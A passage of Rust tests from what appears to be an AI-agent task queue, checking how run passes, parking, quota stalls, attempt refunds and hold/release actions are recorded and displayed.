16875        );
16876        assert_eq!(n.detail.as_deref(), Some("Parent title"));
16877        assert_eq!(n.status, Some("done"));
16878        assert_eq!(n.status_of, "task");
16879        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
16880        assert_eq!(f.nodes[1].key, "start");
16881        assert_eq!(f.edges[0].from, "origin");
16882        assert_eq!(
16883            f.edges[0].label,
16884            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
16885        );
16886    }
16887
16888    #[test]
16889    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
16890        let o = followup_origin(
16891            &fu(Some("gone")),
16892            |_| None,
16893            |_| {
16894                Some(RunState::new(
16895                    std::path::PathBuf::from("."),
16896                    "main".to_owned(),
16897                    "0".to_owned(),
16898                    "t".to_owned(),
16899                    crate::config::Config::default(),
16900                ))
16901            },
16902        );
16903        assert!(o.parent.is_none());
16904        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16905        let n = &f.nodes[0];
16906        assert_eq!(n.status_of, "run");
16907        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
16908        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
16909    }
16910
16911    #[test]
16912    fn flow_followup_with_nothing_readable_has_no_link() {
16913        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
16914        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16915        let n = &f.nodes[0];
16916        assert_eq!(n.href, None);
16917        assert_eq!(n.note, Some("unreadable"));
16918        assert!(!n.readable);
16919    }
16920
16921    #[test]
16922    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
16923        let o = followup_origin(&fu(None), |_| None, |_| None);
16924        let mut t = flow_task(&[]);
16925        t.origin_chat = Some("c1".to_owned());
16926        let f = task_flow(&t, &[], 5, Some(&o));
16927        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
16928        t.source = Source::Agent {
16929            run: "c1".to_owned(),
16930            node: crate::queue::CHAT_NODE.to_owned(),
16931        };
16932        let f = task_flow(&t, &[], 5, Some(&o));
16933        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
16934        assert_eq!(
16935            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
16936            ("chat", "origin")
16937        );
16938    }
16939
16940    #[test]
16941    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
16942        let mut p = parent_task();
16943        p.id = "a b/c".to_owned();
16944        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
16945        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
16946    }
16947
16948    #[test]
16949    fn flow_opens_with_the_chat_that_queued_the_task() {
16950        let mut t = flow_task(&[]);
16951        t.source = Source::Agent {
16952            run: "a b/c".to_owned(),
16953            node: crate::queue::CHAT_NODE.to_owned(),
16954        };
16955        let f = flow_for(&t, &[]);
16956        assert_eq!(f.nodes[0].key, "chat");
16957        assert_eq!(f.nodes[0].kind, "chat");
16958        assert_eq!(
16959            f.nodes[0].label,
16960            format!("Chat {}", crate::queue::short("a b/c"))
16961        );
16962        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
16963        assert_eq!(f.nodes[1].key, "start");
16964        assert_eq!(
16965            f.edges[0],
16966            FlowEdge {
16967                from: "chat".to_owned(),
16968                to: "start".to_owned(),
16969                label: "queued from chat".to_owned(),
16970                attempt: AttemptCost::None,
16971            }
16972        );
16973    }
16974
16975    #[test]
16976    fn flow_has_no_chat_box_for_other_sources() {
16977        for source in [
16978            Source::Human,
16979            Source::Issue {
16980                number: 3,
16981                repo: "o/r".to_owned(),
16982            },
16983            Source::Agent {
16984                run: "20260904-014455-ab12".to_owned(),
16985                node: "implement".to_owned(),
16986            },
16987        ] {
16988            let mut t = flow_task(&[]);
16989            t.source = source;
16990            let f = flow_for(&t, &[]);
16991            assert_eq!(f.nodes[0].key, "start");
16992            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
16993            assert!(f.edges.iter().all(|e| e.from != "chat"));
16994        }
16995    }
16996
16997    const FA: &str = "20260902-140501-aaaa";
16998    const FB: &str = "20260902-140502-bbbb";
16999
17000    #[test]
17001    fn flow_follows_blocked_retry_merged_to_done() {
17002        let mut t = flow_task(&[FA, FB]);
17003        t.status = TaskStatus::Done;
17004        let f = flow_for(
17005            &t,
17006            &[
17007                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
17008                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
17009            ],
17010        );
17011        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
17012        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
17013        assert_eq!(f.edges.len(), 3);
17014        assert_eq!(f.edges[0].label, "claimed");
17015        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
17016        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17017        assert_eq!(f.edges[2].label, "merged \u{2192} done");
17018        assert_eq!(
17019            f.nodes[2].href.as_deref(),
17020            Some("#/runs/20260902-140502-bbbb")
17021        );
17022        assert!(f.nodes[2].decided);
17023    }
17024
17025    #[test]
17026    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
17027        let quota = || {
17028            flow_run(RunStatus::Stalled, |s| {
17029                s.quota.push(crate::run::QuotaLoss {
17030                    cause: crate::agent::QuotaCause::UsageLimit,
17031                    agent: String::new(),
17032                    seat: "judge-1".to_owned(),
17033                    node: "judge".to_owned(),
17034                    at: Timestamp::now(),
17035                    reset: None,
17036                })
17037            })
17038        };
17039        let mut t = flow_task(&[FA, FA]);
17040        t.status = TaskStatus::Queued;
17041        let f = flow_for(&t, &[(FA, Some(quota()))]);
17042        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
17043        assert_eq!(f.nodes[1].note, Some("interrupted"));
17044        assert_eq!(
17045            f.nodes[1].status, None,
17046            "no outcome copied onto an earlier pass"
17047        );
17048        assert_eq!(
17049            f.edges[1].attempt,
17050            AttemptCost::Unknown,
17051            "a resume does not prove the earlier pass was refunded"
17052        );
17053        assert!(f.edges[1].label.contains("resume the same run"));
17054        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
17055        assert_eq!(
17056            f.edges[2].label,
17057            "stalled after a resume, refund unknown \u{2192} queued"
17058        );
17059        assert!(!f.nodes[2].decided, "a stall is not a decision");
17060        assert_eq!(f.nodes[2].note, Some("no verdict"));
17061    }
17062
17063    #[test]
17064    fn flow_single_pass_quota_stall_is_refunded() {
17065        let t = flow_task(&[FA]);
17066        let f = flow_for(
17067            &t,
17068            &[(
17069                FA,
17070                Some(flow_run(RunStatus::Stalled, |s| {
17071                    s.quota.push(crate::run::QuotaLoss {
17072                        cause: crate::agent::QuotaCause::UsageLimit,
17073                        agent: String::new(),
17074                        seat: "judge-1".to_owned(),
17075                        node: "judge".to_owned(),
17076                        at: Timestamp::now(),
17077                        reset: None,
17078                    })
17079                })),
17080            )],
17081        );
17082        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17083    }
17084
17085    #[test]
17086    fn flow_parked_refunds_and_stall_without_quota_spends() {
17087        let mut t = flow_task(&[FA]);
17088        t.status = TaskStatus::Queued;
17089        let f = flow_for(
17090            &t,
17091            &[(
17092                FA,
17093                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
17094            )],
17095        );
17096        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
17097        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17098        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
17099        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17100        assert!(!f.nodes[1].decided);
17101    }
17102
17103    #[test]
17104    fn flow_keeps_an_unreadable_run_as_its_own_node() {
17105        let t = flow_task(&[FA, FB]);
17106        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
17107        assert_eq!(f.nodes[1].note, Some("unreadable"));
17108        assert!(!f.nodes[1].readable);
17109        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
17110        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
17111    }
17112
17113    #[test]
17114    fn flow_names_the_branch_of_a_review_only_run() {
17115        let t = flow_task(&[FA]);
17116        let f = flow_for(
17117            &t,
17118            &[(
17119                FA,
17120                Some(flow_run(RunStatus::Merged, |s| {
17121                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
17122                })),
17123            )],
17124        );
17125        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
17126        assert_eq!(
17127            f.nodes[1].detail.as_deref(),
17128            Some("review-only run of branch magi/x/A")
17129        );
17130    }
17131
17132    #[test]
17133    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
17134        let mut t = flow_task(&[FA]);
17135        t.status = TaskStatus::Held;
17136        let pr = crate::run::PrRecord {
17137            url: "https://example.test/pr/1".to_owned(),
17138            number: 1,
17139            state: "open".to_owned(),
17140            checks: "green".to_owned(),
17141            round: 0,
17142            rounds: 3,
17143            red_at_merge: Vec::new(),
17144        };
17145        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
17146        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
17147        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
17148        t.status = TaskStatus::Done;
17149        let f = flow_for(&t, &[(FA, Some(blocked))]);
17150        assert_eq!(f.edges[1].label, "closed by hand: task is done");
17151    }
17152
17153    #[test]
17154    fn flow_with_no_runs_goes_from_queued_to_queued() {
17155        let t = flow_task(&[]);
17156        let f = flow_for(&t, &[]);
17157        assert_eq!(f.nodes.len(), 2);
17158        assert_eq!(f.edges.len(), 1);
17159        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
17160        assert_eq!(f.edges[0].attempt, AttemptCost::None);
17161    }
17162
17163    /// A run parked mid-flight keeps a non-terminal status; the page must
17164    /// still say why it stopped and that the attempt came back.
17165    #[test]
17166    fn a_parked_non_terminal_run_is_explained_as_parked() {
17167        let mut s = RunState::new(
17168            PathBuf::from("/repo/magi"),
17169            "main".to_owned(),
17170            "0123456789abcdef".to_owned(),
17171            "Do it".to_owned(),
17172            Config::default(),
17173        );
17174        s.status = RunStatus::Implementing;
17175        s.parked = true;
17176        let task = Task::new(
17177            "t".to_owned(),
17178            "Do it".to_owned(),
17179            PathBuf::from("/repo/magi"),
17180            Source::Human,
17181        );
17182        let v = task_run_view(
17183            "20260902-140501-aaaa",
17184            Some(&s),
17185            RunSlot {
17186                n: 1,
17187                resumed: false,
17188                resumed_later: None,
17189                prior: None,
17190                last: true,
17191                ..RunSlot::default()
17192            },
17193            &task,
17194        );
17195        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
17196    }
17197
17198    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
17199        let mut s = flow_run(RunStatus::Implementing, edit);
17200        s.parked = false;
17201        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
17202        task_run_view(
17203            "20260902-140501-aaaa",
17204            Some(&s),
17205            RunSlot {
17206                n: 1,
17207                resumed: false,
17208                resumed_later: Some(2),
17209                prior: None,
17210                last: false,
17211                ..RunSlot::default()
17212            },
17213            &task,
17214        )
17215    }
17216
17217    #[test]
17218    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
17219        let v = earlier_pass_view(|_| {});
17220        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
17221        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
17222        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
17223        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
17224        assert_eq!(v.exit, RunExit::Interrupted);
17225        assert_eq!(v.attempt, AttemptCost::Unknown);
17226    }
17227
17228    #[test]
17229    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
17230        let v = earlier_pass_view(|s| {
17231            s.quota.push(crate::run::QuotaLoss {
17232                cause: crate::agent::QuotaCause::UsageLimit,
17233                agent: String::new(),
17234                seat: "judge-1".to_owned(),
17235                node: "judge".to_owned(),
17236                at: Timestamp::now(),
17237                reset: None,
17238            });
17239        });
17240        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
17241        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
17242        assert_eq!(v.attempt, AttemptCost::Unknown);
17243    }
17244
17245    #[test]
17246    fn the_current_pass_states_its_recorded_cause_and_cost() {
17247        let slot = || RunSlot {
17248            n: 1,
17249            resumed: false,
17250            resumed_later: None,
17251            prior: None,
17252            last: true,
17253            ..RunSlot::default()
17254        };
17255        let task = flow_task(&["20260902-140501-aaaa"]);
17256        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
17257        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
17258        assert_eq!(
17259            (v.exit, v.attempt),
17260            (RunExit::Parked, AttemptCost::Refunded)
17261        );
17262        let spent = flow_run(RunStatus::Blocked, |_| {});
17263        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
17264        assert_eq!(v.attempt, AttemptCost::Spent);
17265        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
17266    }
17267
17268    fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
17269        crate::run::RunPass {
17270            index,
17271            started_at: Timestamp::now(),
17272            resumed: index > 0,
17273            ended_at: end.as_ref().map(|_| Timestamp::now()),
17274            end,
17275            task_entry: true,
17276        }
17277    }
17278
17279    fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
17280        Some(crate::run::PassEnd::Parked { cause })
17281    }
17282
17283    fn upgrade_cause() -> crate::run::ParkCause {
17284        crate::run::ParkCause::Upgrade {
17285            from: "0.121.0".to_owned(),
17286            to: Some("0.121.1".to_owned()),
17287        }
17288    }
17289
17290    fn settled_pass(
17291        run: &str,
17292        index: usize,
17293        cost: crate::queue::PassCost,
17294    ) -> crate::queue::TaskPass {
17295        crate::queue::TaskPass {
17296            run: run.to_owned(),
17297            pass_index: index,
17298            started_at: None,
17299            cost,
17300            attempts_after: 1,
17301            settled_at: Timestamp::now(),
17302            parked: None,
17303        }
17304    }
17305
17306    const RUN_X: &str = "20261011-223708-4334";
17307
17308    #[test]
17309    fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
17310        use crate::queue::PassCost;
17311        let run = flow_run(RunStatus::Implementing, |s| {
17312            s.passes = vec![
17313                recorded_pass(0, parked(upgrade_cause())),
17314                recorded_pass(1, None),
17315            ];
17316        });
17317        let mut task = flow_task(&[RUN_X, RUN_X]);
17318        task.attempts = 1;
17319        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17320        let h = task_history(&task, |_| Some(run.clone()));
17321        assert_eq!(h.len(), 2);
17322        assert_eq!(h[0].kind, "competition");
17323        assert_eq!(h[1].kind, "resume");
17324        assert_eq!(
17325            (h[0].exit, h[0].attempt),
17326            (RunExit::Parked, AttemptCost::Refunded)
17327        );
17328        assert!(
17329            h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
17330            "{}",
17331            h[0].outcome
17332        );
17333        assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
17334        assert!(
17335            h[0].outcome.contains("pass #2 resumed the same run"),
17336            "{}",
17337            h[0].outcome
17338        );
17339        assert!(
17340            h[0].outcome.contains("pass 1 of 2 over run"),
17341            "{}",
17342            h[0].outcome
17343        );
17344        assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17345        assert_eq!(
17346            h[0].exit_label,
17347            "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
17348        );
17349        let f = task_flow(&task, &h, 2, None);
17350        // Two passes of one run, one of two attempts consumed.
17351        assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
17352        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17353        assert!(
17354            f.edges[1].label.contains("upgrade 0.121.0"),
17355            "{}",
17356            f.edges[1].label
17357        );
17358        assert!(
17359            f.edges[1].label.contains("resume the same run"),
17360            "{}",
17361            f.edges[1].label
17362        );
17363        assert_eq!(f.nodes[1].note, Some("parked"));
17364    }
17365
17366    #[test]
17367    fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
17368        let mut a = flow_run(RunStatus::Implementing, |s| {
17369            s.passes = vec![
17370                recorded_pass(0, parked(upgrade_cause())),
17371                recorded_pass(1, None),
17372            ];
17373        });
17374        let mut b = flow_run(RunStatus::Failed, |s| {
17375            s.passes = vec![recorded_pass(0, None)];
17376        });
17377        a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
17378        b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
17379        a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
17380        let mut task = flow_task(&[]);
17381        task.start("a".into());
17382        task.start("b".into());
17383        task.start("a".into());
17384        assert_eq!(task.runs, ["b", "a"]);
17385        task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
17386        let h = task_history(&task, |id| {
17387            Some(if id == "a" { a.clone() } else { b.clone() })
17388        });
17389        assert_eq!(
17390            h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
17391            ["a", "b", "a"]
17392        );
17393        assert_eq!(h[0].attempt, AttemptCost::Refunded);
17394        assert!(h[0].outcome.contains("upgrade"));
17395        assert_eq!(h[2].kind, "resume");
17396        assert!(h[2].pass.is_some());
17397        // The old repeated-id format must show the same recorded passes.
17398        task.runs = vec!["a".into(), "b".into(), "a".into()];
17399        let old = task_history(&task, |id| {
17400            Some(if id == "a" { a.clone() } else { b.clone() })
17401        });
17402        assert_eq!(
17403            old.iter()
17404                .map(|v| (&v.id, &v.kind, v.attempt))
17405                .collect::<Vec<_>>(),
17406            h.iter()
17407                .map(|v| (&v.id, &v.kind, v.attempt))
17408                .collect::<Vec<_>>()
17409        );
17410    }
17411
17412    #[test]
17413    fn an_upgrade_whose_target_was_not_known_says_so() {
17414        let run = flow_run(RunStatus::Implementing, |s| {
17415            s.passes = vec![
17416                recorded_pass(
17417                    0,
17418                    parked(crate::run::ParkCause::Upgrade {
17419                        from: "0.121.0".to_owned(),
17420                        to: None,
17421                    }),
17422                ),
17423                recorded_pass(1, None),
17424            ];
17425        });
17426        let task = flow_task(&[RUN_X, RUN_X]);
17427        let h = task_history(&task, |_| Some(run.clone()));
17428        assert!(
17429            h[0].outcome.contains("upgrade from 0.121.0"),
17430            "{}",
17431            h[0].outcome
17432        );
17433        // No settle record: the refund is not claimed.
17434        assert_eq!(h[0].attempt, AttemptCost::Unknown);
17435    }
17436
17437    #[test]
17438    fn each_pass_keeps_its_own_cause_across_several_resumes() {
17439        use crate::queue::PassCost;
17440        use crate::run::ParkCause;
17441        let run = flow_run(RunStatus::Implementing, |s| {
17442            s.passes = vec![
17443                recorded_pass(0, parked(upgrade_cause())),
17444                recorded_pass(
17445                    1,
17446                    parked(ParkCause::Interrupt {
17447                        reason: "task a1b2 asked to run first".to_owned(),
17448                    }),
17449                ),
17450                recorded_pass(2, parked(ParkCause::Operator)),
17451                recorded_pass(3, None),
17452            ];
17453        });
17454        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
17455        task.attempts = 1;
17456        task.passes = (0..3)
17457            .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
17458            .collect();
17459        let h = task_history(&task, |_| Some(run.clone()));
17460        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
17461        assert!(
17462            h[1].outcome.contains("task a1b2 asked to run first"),
17463            "{}",
17464            h[1].outcome
17465        );
17466        assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
17467        assert!(
17468            h[2].outcome.contains("operator asked the loop to park"),
17469            "{}",
17470            h[2].outcome
17471        );
17472        assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
17473        let f = task_flow(&task, &h, 2, None);
17474        assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
17475    }
17476
17477    #[test]
17478    fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
17479        let run = flow_run(RunStatus::Implementing, |s| {
17480            s.passes = vec![
17481                recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
17482                recorded_pass(1, None),
17483            ];
17484        });
17485        let task = flow_task(&[RUN_X, RUN_X]);
17486        let h = task_history(&task, |_| Some(run.clone()));
17487        assert_eq!(h[0].exit, RunExit::Interrupted);
17488        assert_eq!(h[0].attempt, AttemptCost::Unknown);
17489        assert!(
17490            h[0].outcome.contains("without recording why"),
17491            "{}",
17492            h[0].outcome
17493        );
17494        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17495        assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
17496    }
17497
17498    #[test]
17499    fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
17500        use crate::queue::PassCost;
17501        // Three entries, but the run only began keeping passes at the last
17502        // two: the first is legacy and must not be given a cause.
17503        let run = flow_run(RunStatus::Implementing, |s| {
17504            s.passes = vec![
17505                recorded_pass(0, parked(upgrade_cause())),
17506                recorded_pass(1, None),
17507            ];
17508        });
17509        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
17510        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17511        let h = task_history(&task, |_| Some(run.clone()));
17512        assert!(h[0].pass.is_none());
17513        assert_eq!(h[0].exit, RunExit::Interrupted);
17514        assert_eq!(h[0].attempt, AttemptCost::Unknown);
17515        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17516        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17517        assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
17518        // A run with no passes at all is entirely unknown.
17519        let legacy = flow_run(RunStatus::Implementing, |_| {});
17520        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
17521        assert!(h.iter().all(|v| v.pass.is_none()));
17522        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17523    }
17524
17525    #[test]
17526    fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
17527        use crate::queue::PassCost;
17528        // Pass 1 is a web-button resume: a pass of the run, no entry of the
17529        // task. The two entries are passes 0 and 2.
17530        let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
17531        web.task_entry = false;
17532        let run = flow_run(RunStatus::Implementing, |s| {
17533            s.passes = vec![
17534                recorded_pass(0, parked(upgrade_cause())),
17535                web.clone(),
17536                recorded_pass(2, None),
17537            ];
17538        });
17539        let mut task = flow_task(&[RUN_X, RUN_X]);
17540        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17541        let h = task_history(&task, |_| Some(run.clone()));
17542        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
17543        assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
17544
17545        // Legacy first entry, then a web resume that parked for an upgrade,
17546        // then the daemon's pass: the legacy entry must stay unknown.
17547        let mut web0 = recorded_pass(0, parked(upgrade_cause()));
17548        web0.task_entry = false;
17549        let run = flow_run(RunStatus::Implementing, |s| {
17550            s.passes = vec![web0.clone(), recorded_pass(1, None)];
17551        });
17552        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
17553        assert!(h[0].pass.is_none());
17554        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17555        assert!(h[1].pass.is_some());
17556    }
17557
17558    #[tokio::test]
17559    async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
17560        let dir = tempfile::tempdir().unwrap();
17561        let queue = Queue::at(dir.path().join("queue"));
17562        let ui = Arc::new(Ui::new(
17563            queue.clone(),
17564            Questions::at(dir.path().join("questions")),
17565            Talks::at(dir.path().join("talks")),
17566            dir.path().join("runs"),
17567            dir.path().to_path_buf(),
17568            dir.path().to_path_buf(),
17569        ));
17570        let mut t = Task::new(
17571            "recover".into(),
17572            "Inspect".into(),
17573            PathBuf::from("."),
17574            Source::Human,
17575        );
17576        t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
17577        t.start("run-A".into());
17578        t.release_operator("choice", Some("resume-question"));
17579        t.resume_override = Some(crate::queue::OperatorResume {
17580            question_id: "resume-question".into(),
17581            at: jiff::Timestamp::now(),
17582            conductor_rehold: None,
17583            forced: true,
17584            pinned_run: Some("run-A".into()),
17585        });
17586        t.hold_machine(Some("inspection pending".into()));
17587        t.edit("recover".into(), "Reuse approved PR head".into())
17588            .unwrap();
17589        queue.put(&mut t).unwrap();
17590        let mut cli = t.clone();
17591        cli.release_operator("cli", None);
17592        let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
17593        let reloaded = queue.get(&t.id).unwrap();
17594        assert_eq!(reply.task.status, TaskStatus::Queued);
17595        assert!(reloaded.resume_override.is_none());
17596        assert_eq!(reloaded.answers, t.answers);
17597        let mut web = reloaded.resumption.unwrap();
17598        let cli = cli.resumption.unwrap();
17599        assert_eq!(web.source, "web");
17600        web.source = cli.source.clone();
17601        web.at = cli.at;
17602        assert_eq!(web, cli);
17603    }
17604
17605    #[tokio::test]
17606    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
17607        let f = Fixture::start().await;
17608        let queue = f.queue();
17609        let mut task = Task::new(
17610            "spent".to_owned(),
17611            "Try again".to_owned(),
17612            PathBuf::from("/repo/magi"),
17613            Source::Human,
17614        );
17615        task.start("20260902-140502-bbbb".to_owned());
17616        task.fail("agent gave up", 9);
17617        queue.put(&mut task).expect("file the task");
17618
17619        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
17620        assert_eq!(held.status, 200);
17621        assert_eq!(held.json()["status_str"], "held");
17622
17623        let released = f
17624            .post(&format!("/api/queue/{}/release", task.id), None)
17625            .await;
17626        assert_eq!(released.status, 200);
17627        assert_eq!(released.json()["status_str"], "queued");
17628        assert_eq!(released.json()["resumption"]["source"], "web");
17629        assert_eq!(released.json()["resumption"]["instruction"], "Try again");
17630        let mut cli = task.clone();
17631        cli.release_operator("cli", None);
17632        let web = queue.get(&task.id).unwrap().resumption.unwrap();
17633        let cli = cli.resumption.unwrap();
17634        assert_eq!(web.instruction, cli.instruction);
17635        assert_eq!(web.answers_through, cli.answers_through);
17636        assert_eq!(web.runs_through, cli.runs_through);
17637        assert_eq!(web.cleared_reason, cli.cleared_reason);
17638        assert_eq!(
17639            released.json()["attempts"],
17640            0,
17641            "release is a real second chance, not an instant re-hold"
17642        );
17643        assert_eq!(
17644            queue.get(&task.id).expect("reload").status,
17645            TaskStatus::Queued,
17646            "the change is on disk, not only in the reply"
17647        );
17648        assert!(
17649            !f.home
17650                .path()
17651                .join("queue")
17652                .join(format!("{}.lock", task.id))
17653                .exists(),
17654            "the claim the mutation took is released again"
17655        );
17656    }
17657
17658    #[tokio::test]
17659    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
17660        let f = Fixture::start().await;
17661        let queue = f.queue();
17662        let mut task = Task::new(
17663            "busy".to_owned(),
17664            "Running right now".to_owned(),
17665            PathBuf::from("/repo/magi"),
17666            Source::Human,
17667        );
17668        queue.put(&mut task).expect("file the task");
17669        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
17670
17671        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
17672
17673        assert_eq!(res.status, 409);
17674        assert_eq!(
17675            queue.get(&task.id).expect("reload").status,
17676            TaskStatus::Queued,
17677            "the refused hold changed nothing"
17678        );
17679    }
17680
17681    #[tokio::test]
17682    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
17683        let f = Fixture::start().await;
17684        let queue = f.queue();
17685        let mut task = Task::new(
17686            "waiting on the migration".to_owned(),
17687            "Do the thing".to_owned(),
17688            PathBuf::from("/repo/magi"),
17689            Source::Human,
17690        );
17691        queue.put(&mut task).expect("file the task");
17692
17693        let held = f
17694            .post(
17695                &format!("/api/queue/{}/hold", task.id),
17696                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
17697            )
17698            .await;
17699        assert_eq!(held.status, 200, "{}", held.body);
17700        assert_eq!(held.json()["status_str"], "held");
17701        assert_eq!(
17702            held.json()["hold_reason"],
17703            "waiting for 20260101-000000-aaaa to land"
17704        );
17705
17706        let listed = f.get("/api/queue").await.json();
17707        assert_eq!(
17708            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
17709            "the card reads the reason off the same list route"
17710        );
17711
17712        // A hold with no body at all must keep working - most holds have no
17713        // reason to give.
17714        let mut plain = Task::new(
17715            "no reason given".to_owned(),
17716            "Do another thing".to_owned(),
17717            PathBuf::from("/repo/magi"),
17718            Source::Human,
17719        );
17720        queue.put(&mut plain).expect("file the task");
17721        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
17722        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
17723        assert!(held_plain.json()["hold_reason"].is_null());
17724
17725        let released = f
17726            .post(&format!("/api/queue/{}/release", task.id), None)
17727            .await;
17728        assert_eq!(released.status, 200);
17729        assert!(
17730            released.json()["hold_reason"].is_null(),
17731            "a release must clear the reason so the next hold does not inherit it"
17732        );
17733    }
17734
17735    #[test]
17736    fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
17737        for urgent in [true, false] {
17738            let body: UrgentBody =
